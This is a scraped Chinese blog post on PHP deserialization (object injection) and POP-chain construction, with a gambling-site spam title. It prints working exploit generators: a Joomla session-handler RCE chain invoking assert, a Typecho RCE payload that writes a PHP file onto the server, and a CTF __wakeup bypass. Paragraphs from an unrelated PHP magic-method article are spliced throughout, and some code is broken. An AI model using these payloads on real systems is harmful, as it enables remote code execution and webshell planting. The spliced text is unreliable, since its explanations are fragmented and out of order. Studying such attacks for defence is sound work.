澳门新浦京娱乐游戏Typecho引发的pop惨案

0×00 背景

PHP对象注入是一个非常常见的漏洞,这个类型的漏洞虽然有些难以利用,但仍旧非常危险,为了理解这个漏洞,请读者具备基础的php知识。

PHP自从5.3版以来就新增了一个叫做__invoke的魔术方法,使用该方法就可以在创建实例后,直接调用对象。如下示例所示:

一直是知道php也有反序列化漏洞,但是从来没有跟进学习过,这次的typecho前台getshell在安全圈引起了比较大的关注,也很早就看了一遍鹿神的分析文章,但奈何没有学习过pop,看地一头雾水,这两天看到了几篇不错的文章,就拿来学习学习。这里贴出链接,为了防止侵权只总结我收获到的重点。

0×01 漏洞案例

如果你觉得这是个渣渣洞,那么请看一眼这个列表,一些被审计狗挖到过该漏洞的系统,你可以发现都是一些耳熟能详的玩意(就国外来说)

WordPress
3.6.1

Magento
1.9.0.1

Joomla 3.0.3

Ip board 3.3.5

除此之外等等一堆系统,八成可能大概在这些还有其他的php程序中还有很多这种类型的漏洞,所以不妨考虑坐下喝杯咖啡并且试着去理解这篇文章。

澳门新浦京娱乐游戏 1

class testClass
{
public function __invoke
{
print "hello world";
}
}
$n = new testClass;
$n();

0×01 PHP类和对象

类和变量是非常容易理解的php概念,打个比方,下面的代码在一个类中定义了一个变量和一个方法。

<?php

class TestClass
{
    // A variable

    public $variable = 'This is a string';

    // A simple method

    public function PrintVariable()
    {
        echo $this->variable;
    }
}

// Create an object

$object = new TestClass();

// Call a method

$object->PrintVariable();

?>

它创建了一个对象并且调用了 PrintVariable 函数,该函数会输出变量
variable。

如果想了解更多关于php面向对象编程的知识 请点:

执行结果为:

0×02 php Magic方法

php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号“__”开头的,比如
__construct, __destruct, __toString, __sleep, __wakeup
和其他的一些玩意。

这些函数在某些情况下会自动调用,比如:

__construct 当一个对象创建时调用 (constructor) __destruct
当一个对象被销毁时调用 (destructor) __
toString当一个对象被当作一个字符串使用

为了更好的理解magic方法是如何工作的,让我们添加一个magic方法在我们的类中。

<?php
    class TestClass
    {
    // 一个变量public $variable = 'This is a string';// 一个简单的方法

    public function PrintVariable()
    {
    echo $this->variable . '<br />';
    }

    // Constructor

    public function __construct()
    {
    echo '__construct <br />';
    }

    // Destructor

    public function __destruct()
    {
    echo '__destruct <br />';
    }

    // Call

    public function __toString()
    {
    return '__toString<br />';
    }
    }

    // 创建一个对象
    // __construct会被调用

    $object = new TestClass();

    // 创建一个方法
    // 'This is a string’ 这玩意会被输出

    $object->PrintVariable();

    // 对象被当作一个字符串
    // __toString 会被调用

    echo $object;

    // End of PHP script
    // php脚本要结束了, __destruct会被调用

    ?>

我们往里头放了三个 magic方法,__construct, __destruct和
__toString,你可以看出来,__construct在对象创建时调用,
__destruct在php脚本结束时调用,__toString在对象被当作一个字符串使用时调用。

这个脚本会输出这狗样:

__construct 
This is a string 
__toString 
__destruct

这只是一个简单的例子,如果你想了解更多有关magic函数的例子,请点击链接

hello world。

0×03 php对象序列化

php允许保存一个对象方便以后重用,这个过程被称为序列化,打个比方,你可以保存一个包含着用户信息的对象方便等等重用。

为了序列化一个对象,你需要调用
“serialize”函数,函数会返回一个字符串,当你需要用到这个对象的时候可以使用“unserialize”去重建对象。

让我们在序列化丢进那个例子,看看序列化张什么样。

<?php
// 某类class User
{
// 类数据public $age = 0;
public $name = '';

// 输出数据

public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age
. ' years old. <br />';
}
}

// 创建一个对象

$usr = new User();

// 设置数据

$usr->age = 20;
$usr->name = 'John';

// 输出数据

$usr->PrintData();

// 输出序列化之后的数据

echo serialize($usr);

?>

它会输出

User John is 20 years old. 
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

你可以看到序列化之后的数据中 有
20和John,其中没有任何跟类有关的东西,只有其中的数据被数据化。

为了使用这个对象,我们用unserialize重建对象。

<?php// 某类class User
{
// Class datapublic $age = 0;
public $name = '';

// Print data

public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}

// 重建对象

$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');

// 调用PrintData 输出数据

$usr->PrintData();

?>

着会输出

User John is 20 years old

php官方示例如下:

0×04 序列化magic函数

magic函数constructor (__construct)和 destructor (__destruct)
是会在对象创建或者销毁时自动调用,其他的一些magic函数会在serialize 或者
unserialize的时候被调用。

__sleep magic方法在一个对象被序列化的时候调用。 __wakeup
magic方法在一个对象被反序列化的时候调用。

注意 __sleep 必须返回一个数组与序列化的变量名。

<?php
class Test
{
public $variable = 'BUZZ';
public $variable2 = 'OTHER';public function PrintVariable()
{
echo $this->variable . '<br />';
}public function __construct()
{
echo '__construct<br />';
}

public function __destruct()
{
echo '__destruct<br />';
}

public function __wakeup()
{
echo '__wakeup<br />';
}

public function __sleep()
{
echo '__sleep<br />';

return array('variable', 'variable2');
}
}

// 创建一个对象,会调用 __construct

$obj = new Test();

// 序列化一个对象,会调用 __sleep

$serialized = serialize($obj);

//输出序列化后的字符串

print 'Serialized: ' . $serialized . <br />';

// 重建对象,会调用 __wakeup

$obj2 = unserialize($serialized);

//调用 PintVariable, 会输出数据 (BUZZ)

$obj2->PrintVariable();

// php脚本结束,会调用 __destruct

?>

这玩意会输出:

__construct 
__sleep 
Serialized: O:4:"Test":2:
{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";} 
__wakeup 
BUZZ 
__destruct 
__destruct

你可以看到,我们创建了一个对象,序列化了它(然后__sleep被调用),之后用序列化对象重建后的对象创建了另一个对象,接着php脚本结束的时候两个对象的__destruct都会被调用。

class CallableClass
{
public function __invoke($x)
{
var_dump($x);
}
}
$obj = new CallableClass;
$obj(5);
var_dump(is_callable($obj));

0×05 php对象注入

现在我们理解了序列化是如何工作的,我们该如何利用它?事实上,利用这玩意的可能性有很多种,关键取决于应用程序的流程与,可用的类,与magic函数。

记住序列化对象的值是可控的。

你可能会找到一套web程序的源代码,其中某个类的__wakeup 或者
__destruct and其他乱七八糟的函数会影响到web程序。

打个比方,我们可能会找到一个类用于临时将日志储存进某个文件,当__destruct被调用时,日志文件会被删除。然后代码张这狗样。

public function LogData($text) { 
    echo 'Log some data: ' . $text . '<br />'; 
    file_put_contents($this->filename, $text, FILE_APPEND); 
} 
// Destructor 删除日志文件 
public function __destruct() { 
    echo '__destruct deletes "' . $this->filename . '" file. <br />'; unlink(dirname(__FILE__) . '/' . $this->filename);
} 
} ?>

某例子关于如何使用这个类

<?php
include 'logfile.php';// 创建一个对象$obj = new LogFile();

// 设置文件名和要储存的日志数据

$obj->filename = 'somefile.log';
$obj->LogData('Test');

// php脚本结束啦,__destruct被调用,somefile.log文件被删除。

?>

在其他的脚本,我们可能又恰好找到一个调用“unserialize”函数的,并且恰好变量是用户可控的,又恰好是$_GET之类的什么玩意的。

著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:Wujunze
链接:https://wujunze.com/php_class_inject.jsp?hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io
来源:wujunze.com

<?php
include 'logfile.php';// ... 一些狗日的代码和 LogFile 类 ...// 简单的类定义

class User
{
// 类数据

public $age = 0;
public $name = '';

// 输出数据

public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}

// 重建 用户输入的 数据

$usr = unserialize($_GET['usr_serialized']);

?>

你看,这个代码调用了 “LogClass” 类,并且有一个 “unserialize”
值是我们可以注入的。

所以构造类似这样的东西:

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

究竟发生了什么呢,因为输入是可控的,所以我们可以构造任意的序列化对象,比如:

<?php$obj = new LogFile();
$obj->filename = '.htaccess';echo serialize($obj) . '<br />';?>

这个会输出

O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";} 
__destruct deletes ".htaccess" file.

现在我们将构造过后的序列化对象发送给刚才的脚本:

script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess”;}

这会输出

__destruct deletes ".htaccess" file.

现在 .htaccess 已经被干掉了,因为脚本结束时
__destruct会被调用。不过我们已经可以控制“LogFile”类的变量啦。

这就是漏洞名称的由来:变量可控并且进行了unserialize操作的地方注入序列化对象,实现代码执行或者其他坑爹的行为。

虽然这不是一个很好的例子,不过我相信你可以理解这个概念,unserialize自动调用
__wakeup 和 __destruct,接着攻击者可以控制类变量,并且攻击web程序。

附:PHP其他魔术方法详解:

总结

面向属性编程(Property-Oriented
Programing)与二进制利用中的面向返回编程(Return-Oriented
Programing)原理相似,都是从现有的指令和代码中根据需求构成连续的调用链。

POP
链的构造是寻找程序中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。

序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。它只是保存对象(不是类)的变量,不保存对象的方法,因此其实反序列化的主要危害在于我们可以控制对象的变量来改变程序执行流程从而达到我们最终的目的

我们无法控制对象的方法来调用只能去找一些可以自动调用的一些魔术方法

__wakeup() //使用unserialize时触发

__sleep() //使用serialize时触发

__destruct() //对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__isset() //在不可访问的属性上调用isset()或empty()触发

__unset() //在不可访问的属性上使用unset()时触发

__toString() //把类当作字符串使用时触发

__invoke() //当脚本尝试将对象调用为函数时触发

构造pop链的过程即是不断寻找可以自动调用函数的地方直到找到可以调用危险函数的地方

0×06 常见的注入点

先不谈 __wakeup 和
__destruct,还有一些很常见的注入点允许你利用这个类型的漏洞,一切都是取决于程序逻辑。

打个比方,某用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出(echo
$obj) ,而且其他类也可能定义了一个类允许__toString读取某个文件。

<?php
// … 一些include ...class FileClass
{
// 文件名public $filename = 'error.log';

//当对象被作为一个字符串会读取这个文件

public function __toString()
{
return file_get_contents($this->filename);
}
}

// Main User class

class User
{
// Class data

public $age = 0;
public $name = '';

// 允许对象作为一个字符串输出上面的data

public function __toString()
{
return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}

// 用户可控

$obj = unserialize($_GET['usr_serialized']);

// 输出 __toString

echo $obj;

?>

so,我们构造url

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

再想想,如果我们用序列化调用 FileClass呢

我们创建利用代码

<?php$fileobj = new FileClass();
$fileobj->filename = 'config.php';echo serialize($fileobj);?>

接着用生成的exp注入url

script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php”;}

接着网页会输出 config.php的源代码

<?php$private_data = 'MAGIC';?>

ps:我希望这让你能够理解。

php中的类就可以使用魔术方法了。其规定以两个下划线(__)开头的方法都保留为魔术方法,所以建议大家函数名最好不用__开头,除非是为了重载已有的魔术方法。

0×07 其他的利用方法

可能其他的一些magic函数海存在利用点:比如__call
会在对象调用不存在的函数时调用,__get 和
__set会在对象尝试访问一些不存在的类,变量等等时调用。

不过需要注意的是,利用场景不限于magic函数,也有一些方式可以在一半的函数中利用这个漏洞,打个比方,一个模块可能定义了一个叫get的函数进行一些敏感的操作,比如访问数据库,这就可能造成sql注入,取决于函数本身的操作。

唯一的一个技术难点在于,注入的类必须在注入点所在的地方,不过一些模块或者脚本会使用“autoload”的功能,具体可以在这里了解

The function names __construct, __destruct, __call,
__callStatic, __get, __set, __isset, __unset, __sleep,
__wakeup, __toString, __invoke, __set_state and__clone are
magical in PHP classes. You cannot have functions with these names in
any of your classes unless you want the magic functionality associated
with them.

挖掘思路:

1.反序列化且可控的点

2.反序列化类有魔术方法

之后分为两种情况:

1.魔术方法里有危险操作

2.魔术方法里无危险操作,但是通过属性(对象)调用了一些函数,恰巧在其他的类中有同名的函数(pop链)

0×08 如何利用或者避免这个漏洞

别在任何用户可控的地方使用“unserialize”,可以考虑“json_decode“

如下这两个方法是为在类和他们的父类中没有声明的属性而设计的。
__get($property)当调用一个未定义的属性时,此方法会被触发,传递的参数是被访问的属性名。
__set($property,$value)给一个未定义的属性赋值时,此方法会被触发,传递的参数是被设置的属性名和值。
这里的没有声明包括当使用对象调用时,访问控制为proteced,private的属性(即没有权限访问的属性)。
与__get方法和__set方法相同,这里的没有声明包括当使用对象调用时,访问控制为proteced,private的属性(即没有权限访问的属性)。

实践:

0×09 结论

虽然很难找到而且很难利用,但是这真的真的很严重,可以导致各种各样的漏洞。

这里的未定义的方法包括没有权限访问的方法;如果方法不存在就去父类中找这个方法,如果父类中也不存在就去调用本类的__call()方法,如果本类中不存在__call()方法就去找父类中的__call()方法。

0x01

代码详见:

通过一个很简单的案例用来理解,首先unserialize这里get[d]可控,在lemon类中我们可以看到程序的本意是通过构造函数实例化nomal类,然后输出hello。看到这里有个魔术方法__destruct,在对象销毁的时候触发,但是这个魔术方法并没有危险行为,观察到在evil类中也有同名的action方法。这样就能通过构造pop链来执行恶意的行为了。

exp:

<?php

class lemon{

protected $ClassObj;

function __construct(){

$this->ClassObj = new evil();

}//需要通过构造函数来进行evil的实例化。

class evil{

private $data = “phpinfo();”;

}

echo serialize(new lemon());

?>

然后传递输出结果到参数d就能够拿到phpinfo了

__autoload函数,它会在试图使用尚未被定义的类时自动调用。通过调用此函数,脚本引擎在php出错失败前有了最后一个机会加载所需的类。

0x02

代码详见:

这段代码有四段unserialize函数,分别在GET[cmd]、class
conn的getlyrics方法以及class user的addlyrics和getlyrics方法中。

get[cmd]可控,然后寻找魔术方法,在class Lyrics的function
__destruct()中看到进入class
Song的log函数,而这里没有危险操作,看到class
Logger中有同名函数,在这个log函数中可以进入class
LogWriter_File的writeLog方法,在其中进行了写文件的操作。至此pop链形成。exp如下:

<?php

class Lyrics{

protected $Lyrics = ‘shutdown_r’;

protected $song;

function __construct(){

$this->song = new Logger();

}

}

class Logger{

protected $logwriter;

function __construct(){

$this->logwriter = new LogWriter_File();

}

}

class LogWriter_File{

protected $filename = ‘wwh.php’;

protected $format;

function __construct(){

$this->format = new LogFileFormat();

}

}

class LogFileFormat{

protected $wwh;

protected $filters;

protected $endl = ‘n’;

function __construct(){

$this->wwh = new OutputFilter();

$this->filters = array($this->wwh);

}

}

class OutputFilter{

protected $matchPattern = ‘//’;

protected $replacement = ”;

}

echo urlencode(serialize(new Lyrics()));

?>

注意:在__autoload函数中抛出的异常不能被catch语句块捕获并导致致命错误,所以应该在函数本身做捕获。

0x03

代码详见:

原文提到,通过第一段代码和标注可以清晰地认识到。。。。(ps:我认识不到啊TAT)

大意就是通过属性创建时产生异常导致属性正常创建而__wakeup()不被调用直接return0,析构函数依旧会执行。

一个php底层的bug,抱着才疏学浅不求甚解的态度,继续看一个实例:

三个不同类型(私有,公有,保护)但是值相同的字符串,序列化输出的值不相同

private      $test1=”hello”;        0test0test1

public        $test2=”hello”;        test2

protected    $test3=”hello”;        0*0test3

这道ctf题需要绕过两点:

1.正则匹配/[oc]:d+:/i

2.__wakeup魔术方法

对于第一点,我们用加号进行绕过,第二点我们通过使成员属性数目大于实际数目进行绕过

最终的exp:

<?php

class sercet{

private $file = ‘wwh.php’;

}

$str = serialize(new sercet());echo $str.’这里是换行符’;

$sub = substr($str, 0,2).’+’.substr($str,2,11).’3′.substr($str, 14);echo
$sub.’这里是换行符’;

echo base64_encode($sub);

?>

__construct构造方法,当一个对象创建时调用此方法,相对于php4使用此方法的好处是:可以使构造方法有一个独一无二的名称,无论它所在的类的名称是什么.这样你在改变类的名称时,就不需要改变构造方法的名称。

0x04

P神的joomla分析:

背景知识:

一、

总结而言就是存取 $_SESSION
数据时序列化和反序列化所使用的处理器不同,造成安全问题。

一般而言就是序列化时用php_serialize处理器,反序列化时用php处理器,其格式键名+竖线+序列化处理值引入了注入点。

两种情况:

1.是session.auto_start=On

在这种情况下,会忽略脚本中的的session.serialize_handler设置,自动注册session会话,在脚本中一般是销毁这个会话后再按照session.serialize_handler设置来注册。这样如果脚本中session.serialize_handler为php_serialize处理器,而php.ini设置的是php处理器,那么在第一次访问脚本的时候,使用了脚本的设置序列化,第二次访问脚本的时候,会先按照php.ini的设置反序列化数据,这样引入了注入点。

2.session.auto_start=Off

这种情况下就是序列化和反序列化时使用的session.serialize_handler设置不同而引入注入点。

二、

这里的原理就是通过利用MYSQL的一个特性,当我们将一个4字节的UTF8字符插入mysql时,mysql将会视之为utf8mb4编码,当将utf8mb4编码的字符插入到UTF8编码的列中,在非strict
mode下就会造成一个截断。

插入数据库的时候利用”𝌆”(%F0%9D%8C%86)字符将utf-8的字段截断。

这里在解析session反序列化时,截断后序列化出的结果出现长度不一致的情况,导致第一个竖线的反序列化失败,放弃这次反序列化,而当前指针还在我们的第二个竖线之前,继续解析,解析到第二个竖线,将字符串分割为前后两个部分,反序列化后面的部分,导致之后恶意操作的执行。

三、底层分析:

漏洞分析:

问题出在以下两个地方libraries/joomla/session/session.php

澳门新浦京娱乐游戏 2

澳门新浦京娱乐游戏 3

引入了XFF和UA,用户可控。

澳门新浦京娱乐游戏 4

这里是写入数据库的过程,途中标记的地方是程序将null*null改成,否则mull写不进数据库,null也写不进http头部。

(joomla这里快要卡两三天了,xdebug在这里打断点直接崩溃,然后也没有找到session.serialize_handler这个设置,就跟写一遍P神的exp吧)

这篇文章说实际上joomla并没有自己设置处理器,而是使用php默认的处理器,这个问题也就是php默认session处理器的问题。

作者是通过class
JDatabaseDriverMysqli的__destruct()方法调用disconnect()方法,在disconnect方法中有call_user_func_array,但是这里第二个参数不可控,于是在这里调用class
SimplePie的init方法,利用init方法中的call_user_func来执行命令。call_user_func($this->cache_name_function,
$this->feed_url)两个参数都可控

$this->feed_url这里的payload作者设置成为了phpinfo();JFactory::getConfig();exit;

好多拿shell的exp也跟着作者写JFactory::getConfig();exit;但是如果是不需要回显的话JFactory::getConfig();exit;完全没有必要,就算是有回显也只需要JFactory::getConfig();就行。虽然我这么说,但是我实际上不知道为什么回显需要JFactory::getConfig();这个方法(我的xdebug配置出了点问题,调试完全跟不进去。。。)

只能判断出来如果是phpinfo();的话if ($this->cache &&
$parsed_feed_url[‘scheme’] !==
”)这个判断句过不了,也就是$parsed_feed_url =
SimplePie_Misc::parse_url($this->feed_url);这里出了问题,但是没办法调试,不知道具体的问题。

经过手工测试,发现并不需要JFactory::getConfig(),我们只需要在后面跟上a::a就能够得到回显

最终$this->feed_url需要是phpinfo();a::a

作者exp:

<?php

class JSimplepieFactory {

}

class JDatabaseDriverMysql {

}

class SimplePie {

var $sanitize;

var $cache;

var $cache_name_function;

var $javascript;

var $feed_url;

function __construct()

{

$this->feed_url =
“phpinfo();JFactory::getConfig();exit;”;//这里推荐使用$this->feed_url
= “phpinfo();a::a”;

$this->javascript = 9999;

$this->cache_name_function = “assert”;

$this->sanitize = new JDatabaseDriverMysql();

$this->cache = true;

}

}

class JDatabaseDriverMysqli {

protected $a;

protected $disconnectHandlers;

protected $connection;

function __construct()

{

$this->a = new JSimplepieFactory();

$x = new SimplePie();

$this->connection = 1;

$this->disconnectHandlers = [

[$x, “init”],

];

}

}

$a = new JDatabaseDriverMysqli();

$a = serialize($a);

$a = str_replace(chr(0) . ‘*’ . chr(0),’’, 
$a);//这里加上了作者exp里面没有的字符替换

echo $a;

?>

__destruct析构方法,php将在对象被销毁前(即从内存中清除前)调用这个方法。默认情况下,php仅仅释放对象属性所占用的内存并销毁对象相关的资源,析构函数允许你在使用一个对象之后执行任意代码来清除内存。当php决定你的脚本不再与对象相关时,析构函数将被调用。

0x05

typecho 远程代码执行漏洞

在分析过程中遇到的一个问题就是在__get()这个魔术方法里,之前不太理解$item[‘author’]->screenName怎么会调用__get(),然后自己测试了一番:

澳门新浦京娱乐游戏 5

发现只要不是public的属性,就算属性没有定义也都走__get()魔术方法。

这里给出我自己的exp:

<?

class Typecho_Request{

private $_params =
array(‘screenName’=>’fputs(fopen(‘./usr/themes/default/img/c.php’,’w’),”)’);

private $_filter = array(‘assert’);

}

class Typecho_Feed{

private $_type =’RSS 2.0′;

private $_items = array();

function __construct(){

$this->_items[0] = array(‘author’=> new Typecho_Request);

}

}

$pop = new Typecho_Feed();

$exp = array();

$exp[‘adapter’] = $pop;

$exp[‘prefix’] = ‘shutdown_r’;

echo base64_encode(serialize($exp));

?>

但是上面这个exp没办法得到回显原因在

这里已经解释清楚了

想要得到回显需要:

1、通过设置数组来控制第二次执行的函数,然后找一处exit跳出

2、在命令执行之后,想办法造成一个报错,语句报错就会强制停止

在一个函数的命名空间内,这会发生在函数return的时候。对于全局变量,这发生于脚本结束的时候。如果你想明确地销毁一个对象,你可以给指向该对象的变量分配任何其它值.通常将变量赋值为null或者调用unset。

php5中的对象赋值是使用的引用赋值,如果想复制一个对象则需要使用clone方法,在调用此方法是对象会自动调用__clone魔术方法,如果在对象复制需要执行某些初始化操作,可以在__clone方法实现。

__tostring方法在将一个对象转化成字符串时自动调用,比如使用echo打印对象时。

在php5.2.0之前,__tostring方法只有结合使用echo()或print()时才能生效。php5.2.0之后,则可以在任何字符串环境生效(例如通过printf(),使用%s修饰符),但不能用于非字符串环境(如使用%d修饰符)。从php5.2.0,如果将一个未定义__tostring方法的对象转换为字符串,会报出一个e_recoverable_error错误。

__wakeup反串行化的时候调用

serialize()检查类中是否有魔术名称__sleep的函数。如果这样,该函数将在任何序列化之前运行。它可以清除对象并应该返回一个包含有该对象中应被序列化的所有变量名的数组。

使用__sleep的目的是对象可能具有的任何数据库连接,提交等待中的数据或进行类似的清除任务。此外,如果有非常大的对象而并不需要完全储存下来时此函数也很有用。

PHP相反地,unserialize()检查具有魔术名称__wakeup的函数的存在。如果存在,此函数可以重建对象可能具有的任何资源。使用__wakeup的目的是重建在序列化中可能丢失的任何数据库连接以及处理其它重新初始化的任务。
当尝试以调用函数的方式调用一个对象时,__invoke方法会被自动调用。

它的工作方式类似于__call()魔术方法,__callstatic()是为了处理静态方法调用。

php确实加强了对__callstatic()方法的定义;它必须是公共的,并且必须被声明为静态的。同样,__call()魔术方法必须被定义为公共的,所有其他魔术方法都必须如此。

发表评论

电子邮件地址不会被公开。 必填项已用*标注